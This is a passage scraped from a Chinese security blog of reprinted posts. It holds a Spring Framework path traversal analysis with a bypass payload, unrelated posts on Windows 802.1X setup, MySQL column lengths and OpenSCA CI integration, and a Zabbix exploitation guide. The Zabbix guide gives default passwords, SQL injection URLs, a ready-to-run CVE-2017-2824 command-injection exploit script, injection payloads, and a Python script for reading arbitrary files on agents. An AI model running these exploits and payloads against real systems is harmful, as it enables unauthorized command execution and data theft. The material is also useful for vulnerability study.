sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

可以发现是成功了

漏洞分析

先查看官方的diff确定漏洞代码位置

https://github.com/spring-projects/spring-framework/commit/d86bf8b2056429edf5494456cffcb2b243331c49#diff-25869a3e3b3d4960cb59b02235d71d192fdc4e02ef81530dd6a660802d4f8707L151

是在PathResourceLookupFunction类，如何修复的先不关心，当然如果很明显就可以更快，我们把关键方法给打个断点慢慢看一看，然后慢慢分析调试一会就能知道个大概

因为是使用了RouterFunctions处理，会来到如下代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Mono<Resource> apply(ServerRequest request) {
    PathContainer pathContainer = request.requestPath().pathWithinApplication();
    if (!this.pattern.matches(pathContainer)) {
        return Mono.empty();
    } else {
        pathContainer = this.pattern.extractPathWithinPattern(pathContainer);
        String path = this.processPath(pathContainer.value());
        if (path.contains("%")) {
            path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
        }

        if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
            try {
                Resource resource = this.location.createRelative(path);
                return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
            } catch (IOException var5) {
                throw new UncheckedIOException(var5);
            }
        } else {
            return Mono.empty();
        }
    }
}
首先是从pathContainer.value()获取path，然后由processPath处理

processPath方法如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String processPath(String path) {
    boolean slash = false;

    for(int i = 0; i < path.length(); ++i) {
        if (path.charAt(i) == '/') {
            slash = true;
        } else if (path.charAt(i) > ' ' && path.charAt(i) != 127) {
            if (i == 0 || i == 1 && slash) {
                return path;
            }

            path = slash ? "/" + path.substring(i) : path.substring(i);
            return path;
        }
    }

    return slash ? "/" : "";
}
简单来讲就是

去除路径开头的无效字符：忽略空格、控制字符等无效字符，找到第一个有效字符。

保留根路径：如果路径开头有斜杠 /，则确保处理后的路径以 / 开头。

快速返回有效路径：如果路径是根路径或有效路径已经以 / 开头，直接返回，不做额外处理。

输入: " /home/user"
输出: "/home/user"

去除了路径开头的空格，保留以 / 开头的有效路径。

输入: " user/docs"
输出: "user/docs"

去除了路径开头的空格，保留从第一个有效字符 u 开始的路径。

输入: "////"
输出: "/"

只有斜杠的情况，返回根路径 /。

输入: " "
输出: ""

这个处理对我们的../这种没有影响的

然后回到apply
1
2
3
if (path.contains("%")) {
    path = StringUtils.uriDecode(path, StandardCharsets.UTF_8);
}
如果包含%，就是url编码的标志，然后会继续url解码

最终确定路径的点是在
1
2
3
4
if (StringUtils.hasLength(path) && !this.isInvalidPath(path)) {
    try {
        Resource resource = this.location.createRelative(path);
        return resource.isReadable() && this.isResourceUnderLocation(resource) ? Mono.just(resource) : Mono.empty();
关键在于this.isInvalidPath(path)判断
1
2
3
4
5
6
7
8
9
10
11
12
13
14
private boolean isInvalidPath(String path) {
    if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
        if (path.contains(":/")) {
            String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
            if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
                return true;
            }
        }

        return path.contains("..") && StringUtils.cleanPath(path).contains("../");
    } else {
        return true;
    }
}
我们需要的是返回false，看来能够返回的只有一个地方了return path.contains(“..”) && StringUtils.cleanPath(path).contains(“../“);，首先我们可以有..这种字符的存在，因为是&符号连接的，所以终极目的就是StringUtils.cleanPath(path).contains(“../“)返回false

cleanPath方法很长，一步一步分析

这个代码是为了处理windows和linux的差异的，会windows中的\\或者\转为linux中的/
1
2
3
4
5
6
7
String normalizedPath;
if (path.indexOf(92) != -1) {
                normalizedPath = replace(path, "\\\\", "/");
                normalizedPath = replace(normalizedPath, "\\", "/");
            } else {
                normalizedPath = path;
            }
然后就是处理前缀了,如果路径没有.直接返回，如果又会处理，还是为了处理windows的场景

58 对应的是冒号 :，用于检测是否有像 C: 这样的路径前缀。如果存在前缀（如 Windows 路径中的盘符），将其提取出来。

如果前缀中包含 /，则认为它不是有效的前缀（可能是 URL 的一部分），清除它；否则将前缀保留并将路径的主体部分截取出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
if (normalizedPath.indexOf(46) == -1) {
                return normalizedPath;
            } else {
                int prefixIndex = normalizedPath.indexOf(58);
                String prefix = "";
                if (prefixIndex != -1) {
                    prefix = normalizedPath.substring(0, prefixIndex + 1);
                    if (prefix.contains("/")) {
                        prefix = "";
                    } else {
                        pathToUse = normalizedPath.substring(prefixIndex + 1);
                    }
                }
然后根据 / 拆分路径，将其转换为一个数组 pathArray
1
2
3
String[] pathArray = delimitedListToStringArray(pathToUse, "/");
Deque<String> pathElements = new ArrayDeque(pathArray.length);
int tops = 0;
如果包含.则不会走到pathElements.addFirst(element);相当于去除，中间对于tops的处理就是相当于在处理..的路径穿越字符了
1
2
3
4
5
6
7
8
9
10
11
12
for(i = pathArray.length - 1; i >= 0; --i) {
    String element = pathArray[i];
    if (!".".equals(element)) {
        if ("..".equals(element)) {
            ++tops;
        } else if (tops > 0) {
            --tops;
        } else {
            pathElements.addFirst(element);
        }
    }
}
结合
1
2
3
4
5
6
7
8
9
10
if ("..".equals(element)) {
            ++tops;
        } else if (tops > 0) {
            --tops;
        }

......
for(i = 0; i < tops; ++i) {
         pathElements.addFirst("..");
}
处理前和处理后的代码

应该能读懂这个逻辑吧

然后最后就是拼接了
1
2
String joined = collectionToDelimitedString(pathElements, "/");
return prefix.isEmpty() ? joined : prefix + joined;
如果我们想要返回的路径不包含../就得从其中一步找点破绽，其实就是连猜带蒙多去尝试各种各样的路径

其实考虑一下，它是类似于这种就会实现有../但是返回的时候不包含../

比如

a/b/../c

经过处理后，路径将被简化为 a/b/d，因为 c/.. 相当于取消了 c 目录的影响

这里我们希望b能够占个位置，但是又不会当作目录的一个字符

代码逻辑是以/作为分割

空字符也算做一个元素，按理来说构造这样一个字符就ok了
1
/static/////../../1.txt
自己写一个测试类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example.demo;

import org.springframework.util.ResourceUtils;
import org.springframework.util.StringUtils;

public class test {
    public static void main(String[] args) {
        String path = "/static/////../../1.txt";
        System.out.println(isInvalidPath(path));

    }

    public static boolean isInvalidPath(String path) {
        if (!path.contains("WEB-INF") && !path.contains("META-INF")) {
            if (path.contains(":/")) {
                String relativePath = path.charAt(0) == '/' ? path.substring(1) : path;
                if (ResourceUtils.isUrl(relativePath) || relativePath.startsWith("url:")) {
                    return true;
                }
            }

            return path.contains("..") && StringUtils.cleanPath(path).contains("../");
        } else {
            return true;
        }
    }
}
可以看到确实是可以的，但是实际中不行，是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化，就是不能出现////这种连起来的，再结合刚刚对windows的处理\

那我们可以构造这样一个路径
1
/static/%5c/%5c/../../1.txt
首先processPath处理后原样输出，而标准化处理后就变为

然后就可以了

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

Exploit RCE Reprint Spring

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

Nov 13, 2025

WIN10系统使用自带软件进行有线802.1X认证时的配置方法

本文转自丁晏并作补充

前提条件

选择“开始 > 控制面板”，依次单击“系统和安全”、“管理工具”和“服务”，确认“Extensible Authentication Protocol”和“Wired AutoConfig”两个服务的“启动类型”为“自动”，“状态”为“正在运行”。

操作步骤

1、选择“开始 > 控制面板”。
2、在“控制面板”选择“网络和Internet > 网络和共享中心 > 查看网络状态和任务 > 以太网”（控制面板的“查看方式”选择“类别”时可显示“网络和Internet”）。

3、在“以太网状态”窗口，选择“属性”。
4、在“身份验证”页签，选中“启用IEEE 802.1X身份验证”，“选择网络身份验证方法”设置为“Microsoft: 受保护的EAP（PEAP）”，单击“设置”。

5、取消勾选“通过验证证书来验证服务器的身份”，“选择身份验证方法”选择“安全密码（EAP-MSCHAP v2）”，单击“配置”。

6、取消选中“自动使用 Windows 登录名和密码”，单击“确定”。

说明：如果操作系统使用AD域帐号登录，并且用来进行802.1X认证的用户名和密码也是使用的登录操作系统的域帐号和密码，则勾选“自动使用Windows登录名和密码”。

7、等待Windows弹出认证框，即可输入用户名和密码进行认证。

Reprint WiFi

MySQL数据库字段超长问题

Nov 12, 2025

MySQL数据库字段超长问题

本文转自 adrninistrat0r 并作补充

1. 存在的问题

在向MySQL数据库表中插入或更新记录时，有时会出现字段超长的问题，包括但不限于以下场景：

处理上游系统发送的交易信息，将多个字段拼成一个JSON或其他格式的字符串；在增加字段，或数据较长时，写入或更新数据库时可能超长；

调用下游系统的服务，返回的部分字段（如错误信息等）较长时，导致更新数据库记录失败。

2. 问题解决与优化建议

2.1. JSON等格式的字段

有业务含义的重要字段，不建议通过JSON字符串格式保存在一个数据库字段中。

假如需要将字段以JSON字符串格式保存在一个数据库字段中，建议只保存相对不重要，且不需要作为唯一的查询条件的字段，在进行保存时也需要考虑字段超长问题，及新旧数据与新旧代码相互之间的兼容问题。

2.1.1. MySQL字符串字段长度

半角英文字母、数字、符号等常见字符，1个字符占用1个字节；1个汉字字符占用3个字节。

在utf8字符集下，1个字符最多占用3个字节，不支持占用4个字节的字符。

在utf8mb4字符集下，1个字符最多占用4个字节，可以保存emoji表情等占用4个字节的字符。

MySQL字符串字段的最大长度如下所示：

类型最大长度单位

CHAR(n) 255 字符数

VARCHAR(n) 65535 字符数

TINYTEXT 255 字节数

TEXT 65535 字节数

MEDIUMTEXT 16777215 字节数

LONGTEXT 4294967295 字节数

需要注意，CHAR、VARCHAR类型字段的最大长度的单位为字符数，能够保存的汉字数量等于最大支持字符数；

TEXT等类型字段的最大长度的单位为字节数，能够保存的汉字数量不超过最大支持字节数的1/3。

类型	最大长度	单位
CHAR(n)	255	字符数
VARCHAR(n)	65535	字符数
TINYTEXT	255	字节数
TEXT	65535	字节数
MEDIUMTEXT	16777215	字节数
LONGTEXT	4294967295	字节数

2.1.2. MySQL使用较长的字符串类型字段影响

MySQL、MariaDB较新版本支持JSON类型字段，其他版本需要使用字符串类型字段保存。

MySQL中长度超过768字节的固定长度字段被编码为变长字段，例如VARCHAR（超过768字节）、TEXT等，变长字段被称为页外列（off-page），不是保存在InnoDB的B+树索引中，而是保存在溢出页（overflow page）中。在溢出页中，变长字段的值以单链表形式存储。

对于保存JSON形式的字符串类型字段，由于需要保存较多内容，很可能属于变长字段。保存JSON形式的字符串类型字段不适合在查询时作为唯一的查询条件，原因如下：

保存JSON形式的字符串类型字段不适合创建索引：一是JSON字符串中的字段顺序不固定，通过like进行最左匹配查询，很难从保存JSON形式的字段中查询到需要的数据；二是因为InnoDB索引支持的长度有限（在MySQL InnoDB默认配置下，索引支持的最大长度为768字节）；

仅通过变长字段进行查询时，无法通过B+树结构的索引进行查询，而是需要在单链表形式的溢出页中逐条进行查询，查询效率会非常低。

查询变长字段，与不查询变长字段相比，开销会更大，耗时会更长。因为查询变长字段时，会增加从溢出页中查询数据的步骤；且需要返回的数据量可能较大，数据返回耗时会增加。

在查询包含变长字段的数据库表时，假如不需要获取变长字段，则不应该在SQL语句中指定查询变长字段。

2.2. 可以截断的字段

对于截断后不影响使用的字段，在写入或更新数据库时，可对存在超长风险的字段按照数据库字段长度进行截断；

JDK中的String.substring()方法，commons-lang3中的StringUtils.substring()、StringUtils.truncate()方法，参数中的数字单位都是字符数，不是字节数。

在Java中对字符串进行截取时，建议使用StringUtils.truncate()方法。

MySQL中的CHAR、VARCHAR类型的最大长度，也是字符数，不是字节数。

因此在Java中对字符串根据MySQL的字符串类型字段长度进行截取时，两者的长度是一致的。

例如MySQL中的字段为VARCHAR(200)，则可使用以下方式进行截取，将截取结果写入数据库。
1
javaStringUtils.truncate("xxx", 200);

MySQL Reprint

在Jenkins及GitlabCI中集成OpenSCA，轻松实现CI/CD开源风险治理

Nov 12, 2025

在Jenkins及GitlabCI中集成OpenSCA，轻松实现CI/CD开源风险治理

本文转自 OpenSCA社区并作补充

插播：
OpenSCA-cli 现支持通过 homebrew 以及 winget 安装：

Mac/Linux
1
brew install opensca-cli
Windows
1
winget install opensca-cli
总有小伙伴问起如何在CI/CD中集成OpenSCA，文档它这不就来啦~

若您解锁了其他OpenSCA的用法，也欢迎向项目组来稿，将经验分享给社区的小伙伴们~

Jenkins

在 Jenkins 中集成 OpenSCA，需要在 Jenkins 构建机器中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统，包括 Windows、Linux、MacOS，亦可通过 Docker 镜像运行。

Freestyle Project

对于自由风格的项目，可以通过在构建步骤中添加 Execute shell 或 Execute Windows batch command 来执行 OpenSCA-cli。

以 Execute shell 为例：
1
2
3
4
5
6
# install opensca-cli
curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
# export opensca-cli to PATH
export PATH=/var/jenkins_home/.config/opensca-cli:$PATH
# run opensca scan and generate reports(replace {put_your_token_here} with your token)
opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json
install.sh 会默认将 OpenSCA 安装在用户家目录 .config 目录下，请根据实际情况调整 PATH 环境变量或使用绝对路径。

Pipeline Project

对于流水线项目，可以通过在流水线脚本中添加 sh 或 bat 来执行 OpenSCA-cli。以 sh 为例

pipeline {
    agent any

    stages {

        stage('Build') {
            steps {
                // Get some code from a GitHub repository
                // build it, test it, and archive the binaries.
            }
        }

        stage('Security Scan') {
            steps {
                // install opensca-cli
                sh "curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh"
                // run opensca scan and generate reports(replace {put_your_token_here} with your token)
                sh "/var/jenkins_home/.config/opensca-cli/opensca-cli -path $WORKSPACE -token {put_your_token_here} -out $WORKSPACE/results/result.html,$WORKSPACE/results/result.dsdx.json"
            }
        }
    }

    post {
        always {
            // do something post build
        }
    }
}

(可选) 添加构建后动作

在 Jenkins 中，可以通过 Post-build Actions 来实现保存制品、报告等操作，例如可以通过 Publish HTML reports 插件来保存并展示 OpenSCA-cli 生成的 HTML 报告。
*请注意，OpenSCA 生成的 HTML 报告需启用 JavaScript 才能正常显示。这需要修改 Jenkins 的安全策略，具体操作请参考 Jenkins 官方文档。这可能会导致 Jenkins 的安全性降低，因此请谨慎操作。

修改 Jenkins CSP

在 Jenkins 的 Manage Jenkins -> Script Console 中执行以下脚本：
1
System.setProperty("hudson.model.DirectoryBrowserSupport.CSP", "sandbox allow-scripts; default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self' 'unsafe-inline' 'unsafe-eval';")
执行完成后，需重启 Jenkins 服务。

确保您已经安装了 Publish HTML reports 插件，然后在 Jenkins 项目的 Post-build Actions 中添加 Publish HTML reports：

成功构建后，在 Jenkins Job 的 Dashboard 中，即可看到 OpenSCA-cli 生成的 HTML 报告

Pipeline Script 示例

post {
    always {
        // do something post build
        publishHTML(
            [
                allowMissing: false,
                alwaysLinkToLastBuild: true,
                keepAll: true,
                reportDir: 'results',
                reportFiles: 'result.html',
                reportName: 'OpenSCA Report',
                reportTitles: 'OpenSCA Report',
                useWrapperFileDirectly: true
            ]
        )
    }
}

GitLab CI

在 GitLab CI 中集成 OpenSCA，需要在 GitLab Runner 中安装 OpenSCA-cli。OpenSCA-cli 支持主流的操作系统，包括 Windows、Linux、MacOS，亦可通过 Docker 镜像运行。

security-test-job:
    stage: test
    script:
        - echo "do opensca scan..."
        - curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
        - /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
    artifacts:
      paths:
        - results/
      untracked: false
      when: on_success
      expire_in: 30 days

完整示例

stages:
  - build
  - test
  - deploy

build-job:
  stage: build
  script:
    - echo "Compiling the code..."
    - echo "Compile complete."

unit-test-job:
  stage: test
  script:
    - echo "do unit test..."
    - sleep 10
    - echo "Code coverage is 90%"

lint-test-job:
  stage: test
  script:
    - echo "do lint test..."
    - sleep 10
    - echo "No lint issues found."

security-test-job:
    stage: test
    script:
        - echo "do opensca scan..."
        - curl -sSL https://raw.githubusercontent.com/XmirrorSecurity/OpenSCA-cli/master/scripts/install.sh | sh
        - /root/.config/opensca-cli/opensca-cli -path $CI_PROJECT_DIR -token {put_your_token_here} -out $CI_PROJECT_DIR/results/result.html,$CI_PROJECT_DIR/results/result.dsdx.json
    artifacts:
      paths:
        - results/
      untracked: false
      when: on_success
      expire_in: 30 days

deploy-job:
  stage: deploy
  environment: production
  script:
    - echo "Deploying application..."
    - echo "Application successfully deployed."

Reprint SCA

Zabbix 漏洞深入利用

Nov 12, 2025

Zabbix 漏洞深入利用

本文转自 Geekby 并作补充

1 前言

Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案，能监视各种网络参数，保证服务器系统服务器系统的安全运营；并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

1.1 组件

Zabbix 监控系统由以下几个组件部分构成：

Zabbix Server

Zabbix Server 是所有配置、统计和操作数据的中央存储中心，也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常，将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件，分别为 Zabbix Server 服务、Web 后台及数据库。

Zabbix Proxy

Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构，其多用在跨机房、跨网络的环境中，Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据，然后把数据汇报给 Zabbix Server，并且在一定程度上分担了 Zabbix Server 的压力。

Zabbix Agent

Zabbix Agent 部署在被监控的目标机器上，以主动监控本地资源和应用程序（硬盘、内存、处理器统计信息等）。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。

1.2 网络架构

对于 Zabbix Agent 客户端来说，根据请求类型可分为被动模式及主动模式：

被动模式：Server 向 Agent 的 10050 端口获取监控项数据，Agent 根据监控项收集本机数据并响应。

主动模式：Agent 主动请求 Server (Proxy) 的 10051 端口获取监控项列表，并根据监控项收集本机数据提交给 Server (Proxy)

1.3 Zabbix Agent 配置

Zabbix Agent 服务的配置文件为 zabbix_agentd.conf，Linux 默认路径在 /etc/zabbix/zabbix_agentd.conf。

配置文件中包含的一些基本设置选项：

Server 参数

Server 或 Proxy 的 IP、CIDR、域名等，Agent 仅接受来自 Server 参数的 IP 请求（白名单）。

ServerActive 参数

Server 或 Proxy 的 IP、CIDR、域名等，用于主动模式，Agent 主动向 ServerActive 参数的 IP 发送请求。

StartAgents 参数

zabbix 启动之后开启被动监控的进程数量，默认为3。如果设置为 0，那么 zabbix 被动监控被禁用，并且不会监听 10050 端口。

配置文件中包含的一些可能存在风险的设置选项：

Include 参数

加载配置文件目录单个文件或所有文件，通常包含的 conf 都是配置 UserParameter 自定义用户参数。

UserParameter 参数

自定义用户参数，格式为UserParameter=<key>,<command>，Server 可向 Agent 执行预设的自定义参数命令以获取监控数据，以官方示例为例：
1
UserParameter=ping[*],echo $1
当 Server 向 Agent 执行 ping[aaaa] 指令时，$1 为传参的值，Agent 经过拼接之后执行的命令为echo aaaa，最终执行结果为aaaa。

command 存在命令拼接，但由于传参内容受 UnsafeUserParameters 参数限制，默认无法传参特殊符号，所以默认配置利用场景有限。

UnsafeUserParameters 参数

自定义用户参数是否允许传参任意字符，默认不允许字符 \ ' " `` * ? [ ] { } ~ $ ! & ; ( ) < > | # @，当 UnsafeUserParameters=1 时，允许特殊字符。

以 UserParameter=ping[*],echo $1 为例，向 Agent 执行指令 ping[test && whoami]，经过命令拼接后最终执行 echo test && whoami，成功注入执行 shell 命令。

EnableRemoteCommands 参数

是否允许来自 Zabbix Server 的远程命令，开启后可通过 Server 下发 shell 脚本在 Agent 上执行。当值为 1 时，允许远程下发命令。

AllowRoot 参数

Linux 默认以低权限用户 zabbix 运行，开启后以 root 权限运行 zabbix_agentd 服务。当其值为 1 时，允许以 root 权限执行命令。

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

Zabbix 安装后自带 Admin 管理员用户和 Guests 访客用户（低版本），可登陆 Zabbiax 后台。

常见弱口令组合：

admin:zabbix

Admin:zabbix

guset:空口令

2.1.2 mysql 端

由于 root 用户默认情况下无法外连，运维通常会新建 MySQL 用户 zabbix，常见密码如下：
1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456
拿下 MySQL 数据库后，可解密 users 表的密码 md5 值，或者直接替换密码的 md5 为已知密码，即可登录 Zabbix Web。

2.2 CVE-2016-10134 - SQL 注入漏洞

该漏洞的具体分析可参考：zabbix SQL注入漏洞（CVE-2016-10134），原理是 insert 插入时未对用户输入的数据进行过滤，可以进行显错注入。

2.2.1 已有用户凭据

以 Guest 用户登录后，查看 Cookie 中的zbx_sessionid，复制后 16 位字符：

将这 16 个字符作为 sid 的值，访问 http://your-ip:8080/latest.php?output=ajax&sid=16位 ID&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)，可见成功注入：

2.2.2 无用户凭据

这个漏洞也可以通过 jsrpc.php 触发，且无需登录：http://IP:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)：

将用户密码 MD5 还原即可登录。漏洞利用脚本：zabbixPwn

2.3 CVE-2017-2824 - 命令注入

利用该漏洞，需要服务端开启了自动注册功能，所以我们先以管理员的身份开启自动注册功能。使用账号密码 admin/zabbix 登录后台，进入 Configuration->Actions，将 Event source 调整为 Auto registration，然后点击 Create action，创建一个 Action，名字随意：

第三个标签页，创建一个 Operation，type是 Add Host：

保存。这样就开启了自动注册功能，攻击者可以将自己的服务器注册为 Agent。

第一条数据：

active checks是 Agent 主动检查时用于获取监控项列表的命令，Zabbix Server 在开启自动注册的情况下，通过 active checks 命令请求获取一个不存在的 host 时，自动注册机制会将 json 请求中的 host、ip 添加到 interface 数据表里。
1
{"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
第二条数据：
1
{"request":"command","scriptid":1,"hostid":10001}
command 指令可以在未授权的情况下可指定主机 (hostid) 执行指定脚本 (scriptid)，Zabbix 存在 3 个默认脚本，脚本中的 {HOST.CONN} 在脚本调用的时候会被替换成主机 IP。
1
2
3
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
scriptid 指定其中任意一个，hostid 为注入恶意 Payload 后的主机 id，但自动注册后的 hostid 是未知的，所以通过 command 指令遍历 hostid 的方式都执行一遍，最后成功触发命令注入漏洞。

由于默认脚本的类型限制，脚本都是在 Zabbix Server 上运行，Zabbix Proxy 是无法使用 command 指令的。payload 长度受限制可拆分多次执行，必须更换 host 名称以执行新的payload。

EXP 如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

2.4 CVE-2020-11800 - 命令注入

该漏洞为基于 CVE-2017-2824 的绕过利用。未授权攻击者向 Zabbix Server 的 10051 端口发送 trapper 功能相关命令，利用漏洞即可在 Zabbix Server 上执行系统命令。

其中 CVE-2020-11800 漏洞通过 ipv6 格式绕过 ip 字段检测注入执行 shell 命令，受数据表字段限制 Payload 长度只能为 64 个字符。
1
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}
由于 CVE-2017-2824 与 CVE-2020-11800 漏洞点及利用区别不大，不再复述。

3 Zabbix 后渗透测试

在拥有 Zabbix Server 权限后，如何利用当前权限进一步控制 Zabbix Agent？前文讲到，Zabbix Agent 的 10050 端口仅处理来自 Zabbix Server 或 Proxy 的请求，所以后续攻击都是依赖于 Zabbix Server 权限进行扩展。

在 zabbix 中，我们要监控的某一个指标，被称为“监控项”，就像我们的磁盘使用率，在 zabbix 中就可以被认为是一个“监控项”(item)，如果要获取到“监控项”的相关信息，我们则要执行一个命令，但是我们不能直接调用命令，而是通过一个“别名”去调用命令，这个“命令别名”在 zabbix 中被称为“键”(key)，所以在 zabbix 中，如果我们想要获取到一个“监控项”的值，则需要有对应的“键”，通过“键”能够调用相应的命令，获取到对应的监控信息。

在控制 Zabbix Server 权限的情况下可通过 zabbix_get 命令向 Agent 获取监控项数据，比如说获取 Agent 的系统内核信息：

关于监控项，可以参考：

Agent监控项较多不一一例举，可以参考：

1. Zabbix Agent监控项

2. Zabbix Agent Windows监控项

针对 item 监控项的攻击面进行挖掘，存在以下利用场景：

3.1 EnableRemoteCommands 参数远程命令执行

前文讲到，Agent 远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数。

在 Zabbix Web 上添加脚本，Execute on 选项可根据需求选择，选择 Zabbix server 不需要开启 EnableRemoteCommands 参数，所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

如果要指定某个主机执行该脚本，可从 Zabbix Web 的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机，单击主机名即可在对应 Agent 上执行脚本。

如果类型是 Execute on Zabbix Agent ，Agent 配置文件在未开启 EnableRemoteCommands 参数的情况下会返回报错。

如果不想在 Zabbix Web 上留下太多日志痕迹，或者想批量控制 Agent，拿下 Zabbix Server 权限后可以通过 zabbix_get 命令向 Agent 执行监控项命令，在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令。

3.2 UserParameter 自定义参数命令注入

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下，传参值字符不受限制，只需要找到存在传参的自定义参数 UserParameter，就能达到命令注入的效果。

以下面配置为例：
1
zabbix_get -s agent -p 10050 -k "ping[test && id]"

3.3 任意文件读取

Zabbix Agent 如果没有配置不当的问题，是否有其他姿势可以利用呢？答案是肯定的。

Zabbix 原生监控项中，vfs.file.contents命令可以读取指定文件，但无法读取超过 64KB 的文件。

zabbix_agentd 服务默认以低权限用户 zabbix 运行，读取文件受 zabbix 用户权限限制。开启 AllowRoot 参数情况下 zabbix_agentd 服务会以 root 权限运行，利用 vfs.file.contents 命令就能任意文件读取。

如果文件超过 64KB 无法读取，在了解该文件字段格式的情况下可利用 vfs.file.regexp 命令正则获取关键内容。

3.4 Windows 目录遍历

Zabbix原生监控项中，wmi.get命令可以执行 WMI 查询并返回第一个对象，通过 WQL 语句可以查询许多机器信息。

如：WQL 查询盘符

1	zabbix_get -s agent -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

利用 wmi.get命令进行目录遍历、文件遍历，结合 vfs.file.contents 命令就能够在 Windows 下实现任意文件读取。

基于 zabbix_get 命令写了个 python 脚本，实现 Windows 的列目录、读文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
    if "Cannot obtain WMI information" not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
    where = ""
    while(True):
        check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
        if check_disk:
            print(check_disk)
            where = where + "AND Name != '" + check_disk+ "'"
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_dir:
            print(check_dir)
            where = where + "AND Caption != '" + getpath(check_dir) + "'"
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_file:
            if "Invalid item key format" in check_file:
                continue
            print(check_file)
            where = where + "AND Name != '" + getpath(check_file) + "'"
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
    print(read)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][-1] != "\\":
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])
    
    print("Request count: " + str(count))

3.5 Windows UNC 路径利用

